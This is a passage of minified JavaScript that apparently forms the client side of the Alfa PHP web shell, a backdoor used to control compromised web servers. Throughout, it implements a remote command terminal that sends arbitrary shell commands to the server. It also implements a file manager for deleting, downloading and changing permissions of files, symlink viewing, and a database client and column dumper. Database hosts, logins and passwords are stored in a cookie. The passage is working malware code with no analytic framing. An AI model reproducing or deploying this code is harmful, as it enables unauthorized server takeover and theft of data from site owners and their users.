.fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",\'<div id="\'+i+\'" class="sql-content sql-active-content">\'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",\'<div id="tab_\'+i+\'" opt_id="\'+i+\'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="\'+i+\'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\\\'sql\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>\'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",\'<div id="\'+o+\'" class="options_holder">\'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",\'<div opt_id="\'+o+\'" onclick="optionsTabController(this);" title="\'+l+\'" id="tab_\'+o+\'" class="tab_name tab_is_active">\'+l+\' <img opt_id="\'+o+\'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",\'alfaBeforeDoAction("\'+e+i+\'");\'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",\'alfaBeforeDoAction("\'+e+i+\'");\'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",\'alfaBeforeDoAction("\'+e+\'");\'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",\'alfaBeforeDoAction("\'+e+\'");\'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \\t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\\/\\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",\'<div id="\'+i+\'" class="terminal-content\'+t+\'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\\\'\'+i+\'\\\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\\\'\'+i+"\',0);\\">-</button><input onchange=\\"alfaTerminalChangecolor(this,\'"+i+\'\\\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="\'+i+\'" onSubmit="alfaExecTerminal(this);this.c.value=\\\'\\\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\\\'\'+i+\'\\\');" term_id="\'+i+\'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\\\'free\\\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="\'+i+\'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="\'+i+\'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>\');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",\'<div onclick="terminalTabController(this);" term_id="\'+i+\'" id="tab_\'+i+\'" class="terminal-tab\'+a+\'">Terminal <img term_id="\'+i+\'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",\'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>\'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\\"d.querySelector(\'#"+i+\' .php-terminal-input\\\').value = this.innerHTML;" class="history-cmd-line">\'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+=\'<a base_id="\'+i+\'" fname="\'+t[s]+\'" path="\'+l+o+\'" onclick="alfaOpenArchive(this);">\'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows=\'<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>\',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+=\'<tr class="dbh_\'+o+\'"><th>\'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+\'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\\\'alfaConnectToDb("\'+o+\'","\'+a+\'");\\\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\\\'alfaDeleteConnectToDb("\'+o+"\\");\'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\\"d.querySelector(\'#"+i+\' .php-terminal-input\\\').value = this.innerHTML;" class="history-cmd-line">\'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",\'<div class="symlink_path" id="link_id_\'+a+\'">\'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML=\'<img draggable="false" title="\'+t.server.name+\'" src="http://solevisible.com/images/flags/48/\'+t.server.code.toLowerCase()+\'.png">\',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML=\'<img draggable="false" title="\'+t.client.name+\'" src="http://solevisible.com/images/flags/48/\'+t.client.code.toLowerCase()+\'.png">\',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor(\'"+a+"\',\'"+c+"\',\'\',\'\',\'\',\'file\')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm(\'Are You Sure For Delete # "+a+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+a+"\') : \'\';");break;case"download":s.setAttribute("onclick","g(\'FilesTools\',null,\'"+a+"\', \'download\')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\\/\\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\\/\\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",\'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="\'+l+\'" id="filesman_tab_\'+o+\'" fm_id="\'+o+\'" onclick="filesmanTabController(this);" fname="\'+t+\'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">\'+i+\'</span> <img fm_id="\'+o+\'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",\'<div style="position:relative;" fm_id="\'+o+\'" id="filesman_holder_\'+o+\'" class="ajaxarea"><div class="header"></div></div>\'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else 